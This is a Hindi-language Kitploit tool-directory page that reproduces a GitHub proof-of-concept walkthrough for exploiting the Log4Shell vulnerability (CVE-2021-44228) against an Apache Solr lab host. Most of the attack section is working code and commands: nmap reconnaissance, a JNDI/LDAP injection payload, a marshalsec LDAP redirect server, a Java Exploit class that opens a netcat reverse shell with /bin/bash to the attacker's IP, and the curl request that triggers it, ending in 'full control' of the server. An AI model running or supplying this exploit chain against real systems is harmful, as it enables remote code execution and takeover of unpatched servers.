Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2021-44228 — Log4j Vulnerability RCE - CVE-2021-44228 | Kitploit
उपकरण/GitHubGitHub/lucaspdiniz/cve-2021-44228
ReconnaissanceVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationPayload Development
GitHublucaspdiniz/cve-2021-44228

CVE-2021-44228

Log4j Vulnerability RCE - CVE-2021-44228

रिपॉजिटरी देखें
12 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

Log4j भेद्यता - CVE-2021-44228 📗

  • परिचय

यह भेद्यता 9 दिसंबर, 2021 को खोजी गई थी, जिसे CVE-2021-44228 के रूप में पहचाना गया, यह दोष java log पैकेज को प्रभावित करता है, जिससे गंभीरता स्कोर (CVSS) 10 अंक उत्पन्न होता है, जो होस्ट तक दूरस्थ पहुंच का निष्पादन प्रदान करता है। यह भेद्यता सुरक्षा समुदाय में LOG4SHELL के नाम से जानी जाती है।

यदि आप LOG4J भेद्यता से प्रभावित सॉफ़्टवेयर विक्रेताओं की सूची चाहते हैं, तो नीचे दिए गए रिपॉजिटरी को देखें;

GitHub/Log4jAttackSurface

  • पुनर्ज्ञान (Reconnaissance)

इस प्रकार के हमले को प्रदर्शित करने के लिए, हमारे पास एक होस्ट है जिसमें log4j पैकेज का संवेदनशील संस्करण (Apache Solr 8.11.0) और Java 1.8.0_181 है।

बुनियादी पुनर्ज्ञान से शुरू करें यह समझने के लिए कि इस मशीन पर कौन से पोर्ट खुले हैं, nmap टूल (या आपकी रुचि का कोई अन्य) का उपयोग करें।

nmap -v -p- poc.log4j - होस्ट संवेदनशील है

Nmap
इस मामले में, 3 खुले पोर्ट पाए गए। आइए अपने nmap को बेहतर बनाएं, केवल खुले पोर्ट और -sV कमांड (पोर्ट एप्लिकेशन संस्करण लौटाएं) को सूचित करते हुए

nmap -v -p22,111,8983 -sV poc.log4j

version
संभवतः हमारे पास पोर्ट 8983 पर एक अपाचे चल रहा है। नीचे हम अपाचे की पुष्टि कर सकते हैं, Apache Solr का यह इंस्टेंस बिना किसी डेटा के प्रावधानित है। यह एक फ्लैट, वेनिला और बिल्कुल न्यूनतम इंस्टॉलेशन है।

  • प्रूफ ऑफ कॉन्सेप्ट (Proof of Concept) 📚

log4j के लिए मुख्य हमला वेक्टर एप्लिकेशन लॉग में है, जहां यदि हम Solr स्क्रीन को देखते हैं, तो हम Dsolr.log.dir में सक्षम लॉग देख सकते हैं।

ध्यान दें कि आपने अभी जो URL एंडपॉइंट खोजा है, उसे वेब इंटरफेस से देखते समय solr/ उपसर्ग के साथ जोड़ा जाना चाहिए। इसका मतलब है कि आपको यहां जाना चाहिए:

http://poc.log4j:8983/solr/admin/cores

  • क्यों /admin/cores ❓ 💬
    यहां हम वह भेद्यता पाते हैं जिसका शोषण किया जा सकता है। यह एक कॉल है जो निष्पादित होने के लिए एक वेरिएबल (params={}) प्राप्त करता है, हम इस इनपुट में हेरफेर कर सकते हैं और अपना पेलोड भेज सकते हैं। नीचे हम अपाचे द्वारा इस URL /admin/cores को कॉल करने पर उत्पन्न एक लॉग देख सकते हैं। codelog

इसका लाभ उठाने वाले सामान्य सिंटैक्स का प्रारूप इस प्रकार है;

${jndi:ldap://ATTACKERCONTROLLEDHOST}

यह सिंटैक्स इंगित करता है कि log4j "JNDI", या "Java Naming and Directory Interface" से कार्यक्षमता को आमंत्रित करेगा। अंततः, इसका उपयोग बाहरी संसाधनों, या "संदर्भों" तक पहुंचने के लिए किया जा सकता है, जो इस हमले में हथियार बनाया गया है। ldap:// स्कीमा पर ध्यान दें, यह इंगित करता है कि लक्ष्य LDAP प्रोटोकॉल के माध्यम से एक एंडपॉइंट (इस हमले के मामले में हमलावर-नियंत्रित स्थान) तक पहुंचेगा।

हम ldap का यह सिंटैक्स कहां दर्ज कर सकते हैं?

आप बस HTTP GET वेरिएबल या पैरामीटर प्रदान कर सकते हैं जिन्हें फिर log4j द्वारा संसाधित और पार्स किया जाएगा। बस टेक्स्ट की यह एक पंक्ति चाहिए - और यह इस भेद्यता का शोषण करना बेहद आसान बनाता है।

अन्य स्थान जहां आप यह JNDI सिंटैक्स प्रदान कर सकते हैं:

  • इनपुट बॉक्स, उपयोगकर्ता और पासवर्ड लॉगिन फॉर्म, एप्लिकेशन के भीतर डेटा प्रविष्टि बिंदु।
  • HTTP हेडर जैसे User-Agent, X-Forwarded-For, या अन्य अनुकूलन योग्य हेडर।
  • उपयोगकर्ता-आपूर्ति डेटा के लिए कोई भी स्थान।

क्या होस्ट वास्तव में संवेदनशील है?

इस चरण में, लक्ष्य होस्ट पर log4j का एक संस्करण खोजने के बाद, हमें इसका परीक्षण करने और यह देखने की आवश्यकता है कि क्या वह संस्करण संवेदनशील है।

हम हमलावर होस्ट पर पोर्ट 6666 खोलते हैं।

nc -vnlp 6666

HTTP पैरामीटर के भाग के रूप में इस आदिम JNDI पेलोड सिंटैक्स सहित एक अनुरोध करें। यह आसानी से curl कमांड लाइन उपयोगिता के साथ किया जा सकता है।

codelog

पेलोड निष्पादित करने पर, हमें पोर्ट 6666 पर अपने netcat में रिटर्न मिलता है। 🙌

codelog

इस बिंदु पर, आपने अपने netcat लिसनर में इस कनेक्शन को पकड़ते हुए देखकर सत्यापित कर लिया है कि लक्ष्य वास्तव में संवेदनशील है। हालांकि, इसने एक LDAP अनुरोध किया... इसलिए आपके netcat लिसनर ने केवल गैर-मुद्रण योग्य वर्ण (अजीब दिखने वाले बाइट्स) देखे होंगे। अब हम एक वास्तविक LDAP हैंडलर के साथ प्रतिक्रिया देने के लिए इस नींव पर निर्माण कर सकते हैं।

आइए अन्वेषण करें 🤘

जैसा कि हमने ऊपर curl में देखा, हम अपने NC में एक अनुरोध प्राप्त करने के लिए LDAP प्रोटोकॉल का उपयोग करने में सक्षम थे। हालांकि, क्योंकि हम दूसरे प्रोटोकॉल का उपयोग करते हैं, हम प्रतिक्रिया की कल्पना या हेरफेर करने में असमर्थ हैं।

अगला कदम एक LDAP सर्वर बनाना है ताकि हम अनुरोधों को संभाल सकें, चलिए चलते हैं!

  • इस POC को गति देने के लिए, हम https://github.com/mbechler/marshalsec में पहले से तैयार उपयोगिता का उपयोग करेंगे।

  • marshalsec स्क्रिप्ट का उपयोग करने के लिए हमें maven का उपयोग करने की आवश्यकता है। Maven apt install maven में उपलब्ध है।

  • marshalsec रिपॉजिटरी के अंदर, maven से शुरू करें mvn clean package -DskipTests

  • jar बनाने के बाद, हम अनुरोधों को रीडायरेक्ट करने के लिए LDAP सर्वर शुरू कर सकते हैं

root@kitploit:~
Replace YOUR.IP
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://YOUR.IP:8000/#Exploit"

codelog

एक्सप्लॉइट तैयार करना

हम LDAP सर्वर को चालू छोड़ देंगे और सर्वर का पता लगाने के लिए स्क्रिप्ट बनाएंगे।

  • नीचे वह एक्सप्लॉइट है जिसका हम उपयोग करेंगे। यह Java में लिखा गया है। नीचे दिए गए वर्ग के साथ एक Exploit.java फ़ाइल बनाएं।
root@kitploit:~
#सरल एक्सप्लॉइट जो पोर्ट 9999 पर मेरे IP पर NC के साथ /bin/bash को कॉल कर रहा है।

public class Exploit {
    static {
        try {
            java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.IP 9999");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
  • आइए एक्सप्लॉइट को javac Exploit.java -source 8 -target 8 के साथ कंपाइल करें। Exploit.class बनाया जाएगा।

  • एक्सप्लॉइट तैयार होने पर, आइए इसे Python सर्वर python3 -m http.server पर होस्ट करें।

  • आइए पहले बनाए गए java कमांड bash को प्राप्त करने के लिए NC के साथ एक पोर्ट खोलें। हम एक नया nc -lnvp 9999 बनाते हैं।

  • आइए सब कुछ काम पर लगाएं! आइए एक CURL करें जो सर्वर को पोर्ट 8000 पर हमारे एक्सप्लॉइट को देखने के लिए मजबूर करता है जिसे हमने Python के साथ बनाया है।

root@kitploit:~
curl 'http://poc.log4j:8983/solr/admin/cores?foo=$\{jndi:ldap://YOUR.IP:1389/Exploit\}'
  • हो गया! 👏 हमारा सर्वर पर पूर्ण नियंत्रण है।

ठीक है, लेकिन यह सब कैसे हुआ ❓

  • नीचे अन्वेषण प्रवाह का एक सरल उदाहरण है।

टूल डाउनलोड करें